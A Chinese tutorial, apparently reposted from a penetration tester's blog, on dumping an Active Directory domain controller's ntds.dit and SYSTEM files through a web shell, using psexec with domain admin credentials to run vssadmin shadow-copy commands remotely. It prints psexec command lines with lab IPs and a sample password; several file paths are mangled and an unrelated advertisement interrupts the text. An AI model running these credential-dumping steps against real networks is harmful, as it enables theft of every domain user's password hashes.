通过Webshell远程导出域控ntds.dit的方法

星夢妙者
发布: 2025-09-07 08:49:13
原创
752人浏览过

大家好!今天我想分享一些关于“windows active directory(ad)”环境的内容。我将通过web shell演示“如何转储windows active directory用户数据库”。在渗透测试过程中,测试人员可能已经连接到windows active directory森林中的一台计算机,并获得了“domain admin”用户凭据和web shell访问权限。虽然测试人员试图进一步获取reverse shell,但由于某些原因(如网络防火墙阻止)无法实现。然而,测试者的最终目标可能并不是获取shell,而是转储ad用户数据库,即用户和adl环境的ntlm密码哈希值。

在我的渗透测试过程中,我也遇到了同样的问题(没有公网IP服务器)。经过一番讨论后,我找到了一种方法,如果我们拥有“AD Domain Admin”用户凭据,通过WebShell可以实现上述目标。

假设我们可以访问Windows机器上的Web shell,该机器连接到域“LABONE”,其IP为“192.168.56.101”。域管理员的用户名为“user1”,密码为“ica_1046”。

我们将使用以下两个二进制文件:

如果我们能够在Windows AD域控机器上运行“vssadmin”命令,它将生成“C”盘的卷影副本。从该卷影副本中,我们可以复制“ntds.dit”和“SYSTEM”文件。为了实现这一任务,我们将使用“psexec.exe”。通过指定“elevated”选项(通过-h参数),并提供目标计算机IP、域管理员用户名及其密码,我们可以在远程Windows计算机上执行命令。我们需要通过Web shell在Windows机器“LABONE”上上传psexec.exe。从Web shell中,我们将使用“vssadmin”命令,指定AD域控机器IP、域管理员用户名及其密码。

psexec文件将在Windows AD域控计算机上远程执行vssadmin命令。在创建“C”盘卷影副本后,我们需要将“ntds.dit”和“SYSTEM”文件从该卷影副本复制到我们具有Web shell访问权限的机器,即Windows域机器“LABONE”。这个任务可以通过使用“psexec”来完成,我们只需在“copy”命令中指定目标AD域控机器的IP、域管理员用户名和密码即可,请使用SMB将ndts.dit和SYSTEM文件从卷影副本复制到LABONE机器。我将这些文件复制到了存储psexec文件的同一目录下。

使用“psexec”在远程主机上执行命令的常规用法如下:

psexec.exe \remote_IP -u user_name -p password_of_the_user -h cmd /c "command_which_we_want_to_execute"
登录后复制

就我而言,我应填写如下信息:

remote_IP 192.168.56.200(queen.DC1.indishell.lab)
user_name user1
password_of_the_user ica_1046
登录后复制

我在Windows域机器“LABONE”上具有Web shell访问权限,并在服务器上传了psexec二进制文件。

通过Webshell远程导出域控ntds.dit的方法

首先,我们先来检查下是否有“C”盘的卷影副本可用。你可以使用以下命令来列出可用的卷影副本:

vssadmin list shadows
登录后复制

由于Web shell无法显示远程主机上psexec binary执行的所有命令输出,我将命令输出重定向到了“LABONE”上,并保存在C: mpphtdocsoxps目录下。执行该步骤的命令如下:

奇域
奇域

奇域是一个专注于中式美学的国风AI绘画创作平台

奇域 30
查看详情 奇域
PsExec.exe  \192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \192.168.56.101C$
mpphtdocsoxpsout.txt"
登录后复制

通过Webshell远程导出域控ntds.dit的方法

Web shell显示psexec正在远程Windows AD域控机器上执行命令。如果一切顺利,我们将在目录“C: mpphtdocsoxps”中获取到一个名为“out.txt”的文件,它将包含在AD域控(192.168.56.200)上执行的“vssadmin list shadows”命令的输出。

通过Webshell远程导出域控ntds.dit的方法

可以看到out.txt文件已生成在了目录中,让我们来查看下其中的内容。

通过Webshell远程导出域控ntds.dit的方法

“out.txt”文件内容显示,目标域控机器到目前为止并没有任何的卷影副本。

让我们创建一个“C”盘的卷影副本,以窃取“ntds.dit”和“SYSTEM”文件。

用于创建C盘卷影副本的命令如下:

vssadmin create shadow /for=C:
登录后复制

我们需要有新创建的“C”盘卷影副本的名称,它将在命令的输出中,因此我们将把上述命令的输出重定向到我们拥有Web shell访问权的机器上。

要从目标机器复制“ntds.dit”和“SYSTEM”文件,我们需要有卷影副本的名称。最终的命令为:

PsExec.exe  \192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: > \192.168.56.101C$
mpphtdocsoxpsout2.txt"
登录后复制

以上就是通过Webshell远程导出域控ntds.dit的方法的详细内容,更多请关注php中文网其它相关文章!

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。

下载
来源:php中文网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
热门推荐
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号